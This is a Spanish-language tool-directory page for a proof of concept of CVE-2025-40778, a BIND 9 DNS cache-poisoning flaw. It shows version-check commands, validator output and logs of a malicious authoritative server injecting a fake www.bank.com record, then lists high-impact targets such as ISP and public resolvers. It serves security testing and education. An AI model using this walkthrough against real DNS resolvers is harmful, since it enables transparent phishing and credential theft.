Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-40778 — Prueba de concepto que demuestra el envenenamiento de caché DNS mediante la inyección de registros adicionales en BIND 9, con herramientas para validar y explotar CVE-2025-40778 para pruebas de seguridad autorizadas. | Kitploit
Herramientas/GitHubGitHub/nehkark/cve-2025-40778
Análisis de VulnerabilidadesExplotaciónPhishingSeguridad WebAprendizaje y EducaciónAnálisis de DNS
GitHubnehkark/cve-2025-40778

CVE-2025-40778

Prueba de concepto que demuestra el envenenamiento de caché DNS mediante la inyección de registros adicionales en BIND 9, con herramientas para validar y explotar CVE-2025-40778 para pruebas de seguridad autorizadas.

Ver Repositorio
527hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-40778 Prueba de Concepto

Demostración educativa de la vulnerabilidad de envenenamiento de caché DNS mediante inyección de registros adicionales.

⚠️ Aviso Legal

SOLO CON FINES EDUCATIVOS

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El uso no autorizado de esta herramienta contra sistemas que no posee o para los cuales no tiene permiso explícito de prueba es ilegal y poco ético.

El autor no asume ninguna responsabilidad por el mal uso o los daños causados por esta herramienta.

📋 Descripción

Esta PoC demuestra cómo un servidor DNS autoritativo comprometido puede inyectar registros envenenados en las respuestas DNS, redirigiendo potencialmente a los usuarios a servidores maliciosos sin su conocimiento.

Vector de ataque:

  • Un servidor de nombres autoritativo comprometido inyecta registros DNS adicionales
  • Los registros envenenados se almacenan en caché por los resolvers recursivos
  • Los usuarios que consultan dominios legítimos son redirigidos a IPs controladas por el atacante
  • Permite ataques de phishing transparentes (URL correcta, servidor malicioso)

Escenarios posibles:

  • Phishing 100% transparente (URL correcta)
  • Evasión de la formación anti-phishing
  • Ataques a gran escala contra redes corporativas
  • Persistencia (dura horas con TTL alto)
  • Afecta a TODAS las aplicaciones
  • Bypass de MFA (mediante proxy transparente)
  • Distribución de malware mediante actualizaciones
  • Etc.

👤 Autor y Contacto

  • Investigador: krakhen.dev
  • GitHub: @nehkark
  • Email: [email protected]
  • ICQ: 24298753
  • Sitio web: https://vciso.cloud
  • 🔧 Requisitos

    root@kitploit:~
    pip install dnslib
    pip install dnspython
    pip install scapy
    

    Resumen Técnico CVE-2025-40778

    🔧 Comprobar Versión de DNS

    Versiones vulnerables de Bind9

    • 9.11.0 – 9.16.50
    • 9.18.0 – 9.18.39
    • 9.20.0 – 9.20.13
    • 9.21.0 – 9.21.12
    root@kitploit:~
    (venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
    
    ; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
    ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
    ;; WARNING: recursion requested but not available
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 4096
    ; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
    ;; QUESTION SECTION:
    ;version.bind.			CH	TXT
    
    ;; ANSWER SECTION:
    version.bind.		0	CH	TXT	"9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
    
    ;; AUTHORITY SECTION:
    version.bind.		0	CH	NS	version.bind.
    
    ;; Query time: 14 msec
    ;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
    ;; WHEN: Fri Oct 31 10:51:04 -03 2025
    ;; MSG SIZE  rcvd: 134
    

    🔧 Comprobar la vulnerabilidad en el servidor DNS (BIND9)

    Esta herramienta detecta si es posible explotar la vulnerabilidad CVE-2025-40778

    root@kitploit:~
    ============================================================
      CVE-2025-40778 - Forwarder Configuration Validator
    ============================================================
    
    Enter DNS server IP [127.0.0.1]: 200.0.0.X
    Enter domain to query [www.test.local]: www.company.com
    
    ============================================================
      CVE-2025-40778 VALIDATION - Forwarder Configuration
    ============================================================
      DNS Server: 200.0.0.X
      Domain:     www.company.com
    ============================================================
    
    [1/3] Resolution Test for www.company.com
    ------------------------------------------------------------
        [✓] www.company.com → 201.0.0.X
        → Forwarder ACTIVE for www.company.com
    
    [2/3] Additional Records Test (Poison Detection)
    ------------------------------------------------------------
        Answers:    2 records
        Authority:  1 records
        Additional: 2 records
    
        ANSWER SECTION:
        → www.company.com. 300 IN CNAME www.holding.com.
        → www.holding.com. 300 IN A 201.0.0.X
    
        ADDITIONAL SECTION:
        → [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
        → [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
    
        → [!!!] MULTIPLE ANSWERS - Possible poisoning detected
    
    [3/3] Forwarder Latency Test
    ------------------------------------------------------------
        Query 1: 5.63ms
        Query 2: 7.46ms
        Query 3: 6.04ms
        Query 4: 5.04ms
        Query 5: 5.69ms
    
        Average: 5.97ms
        → [✓] Forwarder working correctly
    
    ============================================================
      CONFIGURATION VALIDATED
    ============================================================
    

    🔧 Paso 1: Activar la Vulnerabilidad CVE-2025-40778

    Descripción: En este paso, se lanza el servidor DNS autoritativo malicioso que simula un servidor de nombres comprometido. El servidor escucha en una IP y puerto específicos (127.0.0.2:5301), listo para inyectar registros DNS envenenados en las respuestas. Cuando está configurado, responderá a consultas legítimas para www.test.local con la dirección IP correcta, pero simultáneamente inyectará un registro malicioso para www.bank.com que apunta a una IP controlada por el atacante. Este comportamiento de doble respuesta es el núcleo del ataque de envenenamiento de caché: el resolver DNS vulnerable almacenará en caché tanto la respuesta legítima como el registro envenenado, aunque solo se haya solicitado un dominio.

    root@kitploit:~
    (venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py 
    ============================================================
      CVE-2025-40778 PoC - poc-linux | krakhen.dev
    ============================================================
    [*] Listening: 127.0.0.2:5301
    [*] Legit:   www.test.local. → 192.168.0.136
    [*] Poison:  www.bank.com. → 192.168.0.100
    
    [✓] Running. Ctrl+C to stop.
    
    2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
    

    🔧 Paso 2: Comprobar el Compromiso CVE-2025-40778

    Descripción: Aquí se realiza una consulta DNS estándar a través del resolver local (BIND) para verificar que la infraestructura funciona correctamente. La consulta para www.test.local debería devolver la dirección IP legítima (192.168.0.136) como se espera. En este punto, la respuesta parece normal para el usuario final: no hay indicación visible de compromiso. Sin embargo, entre bastidores, el resolver DNS vulnerable ya ha almacenado en caché ambos registros: el legítimo que solicitó Y el registro envenenado para www.bank.com que se inyectó en la sección adicional de la respuesta. Este paso confirma que el resolver DNS se comunicó exitosamente con el servidor autoritativo malicioso y procesó su respuesta.

    root@kitploit:~
    (venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
    
    ; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
    ; (1 server found)
    ;; global options: +cmd
    ;; Got answer:
    ;; WARNING: .local is reserved for Multicast DNS
    ;; You are currently testing what happens when an mDNS query is leaked to DNS
    ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
    ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
    
    ;; OPT PSEUDOSECTION:
    ; EDNS: version: 0, flags:; udp: 1232
    ; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
    ;; QUESTION SECTION:
    ;www.test.local.			IN	A
    
    ;; ANSWER SECTION:
    www.test.local.		120	IN	A	192.168.0.136
    
    ;; Query time: 1 msec
    ;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
    ;; WHEN: Fri Oct 31 10:44:57 -03 2025
    ;; MSG SIZE  rcvd: 87
    

    🔧 Paso 3: Envenenar DNS - CVE-2025-40778 Activo

    Descripción: Este paso revela la evidencia del envenenamiento de caché exitoso desde la perspectiva del atacante. Los registros del servidor DNS malicioso muestran que recibió la consulta para www.test.local, respondió con la respuesta legítima Y inyectó exitosamente el registro envenenado para www.bank.com. La notación "RRs: A,A" indica que se enviaron dos registros A en la respuesta: uno legítimo y uno malicioso. En este momento, la caché DNS de la víctima está comprometida. Cualquier consulta posterior para www.bank.com desde este resolver devolverá la IP del atacante (192.168.0.100) en lugar del sitio web bancario real, lo que permite ataques de phishing transparentes donde los usuarios ven la URL correcta pero se conectan a un servidor malicioso. El ataque es invisible para los usuarios finales y persistirá hasta que expire la caché DNS (TTL).

    root@kitploit:~
    2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
    1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
    [→] Query: www.test.local.
    [✓] Legit: www.test.local. → 192.168.0.136
    [!] POISON: www.bank.com. → 192.168.0.100
    2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
    

    📖 Conclusión

    Escenario de Ataque en el Mundo Real: Comprendiendo el Impacto

    Qué Significa Esto en la Práctica:

    Imagina que eres un usuario regular que intenta acceder al sitio web de su banco. Escribes cuidadosamente www.bank.com en tu navegador: la URL es 100% correcta, sin errores tipográficos, sin enlaces sospechosos de correos electrónicos. La barra de direcciones de tu navegador muestra el dominio exacto en el que confías. Todo parece legítimo.

    Pero esto es lo que realmente sucedió entre bastidores:

    El servidor DNS de tu empresa fue comprometido por un atacante que envenenó su caché utilizando esta vulnerabilidad. Cuando tu computadora pregunta "¿Dónde está www.bank.com?", el DNS envenenado responde con la dirección IP del servidor del atacante en lugar de la dirección real del banco.

    La Anatomía de un Ataque

    • ✅ Ves la URL correcta: https://www.bank.com
    • ✅ No hiciste clic en ningún enlace sospechoso de correo electrónico
    • ✅ No descargaste ningún malware
    • ✅ Seguiste todas las mejores prácticas de seguridad
    • ❌ Pero te estás conectando al sitio web falso del atacante

    Lo que el atacante puede robar:

    • Credenciales de inicio de sesión: Tu nombre de usuario y contraseña se capturan en el momento en que los escribes
    • Tokens de sesión: Incluso si usas autenticación de dos factores (2FA), el atacante puede interceptar tu sesión autenticada
    • Información personal: Números de cuenta, números de seguro social, detalles de tarjetas de crédito
    • Secretos comerciales: Correos electrónicos corporativos, documentos confidenciales, claves API

    Por qué es tan peligroso:

    Este ataque es completamente invisible para la víctima. No hay advertencia, no hay señales de alerta, no hay forma de que un usuario promedio lo detecte. Incluso los profesionales conscientes de la seguridad pueden ser víctimas porque el ataque ocurre a nivel de infraestructura, no en el dispositivo del usuario. Un solo servidor DNS comprometido puede afectar a miles de usuarios simultáneamente, lo que lo convierte en un vector de ataque altamente efectivo para los ciberdelincuentes que atacan organizaciones.

    La conclusión: CVE-2025-40778 permite a los atacantes convertir la confianza en un arma. Cuando la propia infraestructura en la que confiamos para navegar por Internet se ve comprometida, incluso los usuarios más cautelosos se vuelven vulnerables. Por eso comprender, probar y mitigar esta vulnerabilidad es fundamental para la postura de seguridad de cualquier organización.

    ⚠️ Importante: Comprendiendo los Requisitos Previos del Ataque

    Requisito Crítico: Para que este ataque tenga éxito, la víctima debe estar utilizando el resolver DNS comprometido. El ataque no se dirige directamente a los dispositivos de los usuarios finales; en cambio, se dirige a la infraestructura DNS de la que dependen los usuarios para navegar por Internet.

    Objetivos de Ataque en el Mundo Real:

    El objetivo principal del atacante es comprometer los resolvers DNS que sirven a grandes bases de usuarios. Los objetivos más valiosos incluyen:

    • Servidores DNS de ISP: Cuando un atacante envenena la infraestructura DNS de un Proveedor de Servicios de Internet, cada cliente que utiliza la configuración DNS predeterminada de ese ISP se vuelve vulnerable. Esto podría afectar a millones de usuarios residenciales y empresariales simultáneamente.
    • Servidores DNS Corporativos: Las organizaciones generalmente ejecutan sus propios servidores DNS internos para los empleados. Comprometer estos servidores da a los atacantes acceso a toda la fuerza laboral de una empresa, lo que lo convierte en un objetivo atractivo para el espionaje corporativo o el robo de datos.
    • Redes WiFi Públicas: Hoteles, aeropuertos, cafés y centros de conferencias a menudo proporcionan servicios DNS a los invitados. Un DNS WiFi público comprometido puede interceptar credenciales de viajeros de negocios y asistentes a eventos.
    • Servicios DNS Públicos: Aunque están fuertemente protegidos, servicios como Google DNS (8.8.8.8) o Cloudflare (1.1.1.1) representan los objetivos de mayor impacto debido a su enorme base de usuarios.

    Por Qué Esto Importa:

    La efectividad del ataque escala con la base de usuarios del resolver DNS. Compromete el servidor DNS de un ISP y potencialmente comprometes a cada cliente que no haya cambiado manualmente su configuración DNS. Por eso la seguridad DNS a nivel de infraestructura es crítica: un solo resolver vulnerable puede crear una superficie de ataque masiva que afecte a miles o millones de usuarios que confían en que esa infraestructura sea segura.

    Descargar herramienta